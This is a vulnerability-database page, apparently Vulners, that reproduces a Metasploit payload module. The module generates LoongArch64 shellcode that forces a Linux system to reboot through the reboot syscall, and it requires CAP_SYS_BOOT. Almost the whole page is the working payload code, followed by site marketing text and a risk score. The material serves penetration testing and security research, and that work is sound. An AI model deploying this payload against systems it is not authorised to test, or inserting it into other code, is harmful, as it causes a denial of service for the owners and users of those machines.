Lucene search
K

Linux Reboot

🗓️ 10 Dec 2025 18:57:37Reported by bcoles <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 333 Views

Linux reboot shellcode payload that reboots the system using reboot syscall and CAP_SYS_BOOT.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  CachedSize = 32

  include Msf::Payload::Single
  include Msf::Payload::Linux

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Linux Reboot',
        'Description' => %q{
          A very small shellcode for rebooting the system using
          the reboot syscall. This payload is sometimes helpful
          for testing purposes. Requires CAP_SYS_BOOT privileges.
        },
        'Author' => 'bcoles',
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => ARCH_LOONGARCH64,
        'References' => [
          ['URL', 'https://man7.org/linux/man-pages/man2/reboot.2.html'],
          ['URL', 'https://github.com/bcoles/shellcode/blob/main/loongarch64/reboot/reboot.s'],
        ]
      )
    )
  end

  def generate(_opts = {})
    shellcode = [
      0x15fdc3a4,   # lu12i.w $a0, -4579
      0x03bab484,   # ori $a0, $a0, 0xead
      0x14502425,   # lu12i.w $a1, 164129
      0x03a5a4a5,   # ori $a1, $a1, 0x969
      0x14024686,   # lu12i.w $a2, 4660
      0x03959cc6,   # ori $a2, $a2, 0x567
      0x0382380b,   # li.w $a7, 0x8e
      0x002b0101,   # syscall 0x101
    ].pack('V*')

    super.to_s + shellcode
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jun 2026 19:00Current
5.8Medium risk
Vulners AI Score5.8
333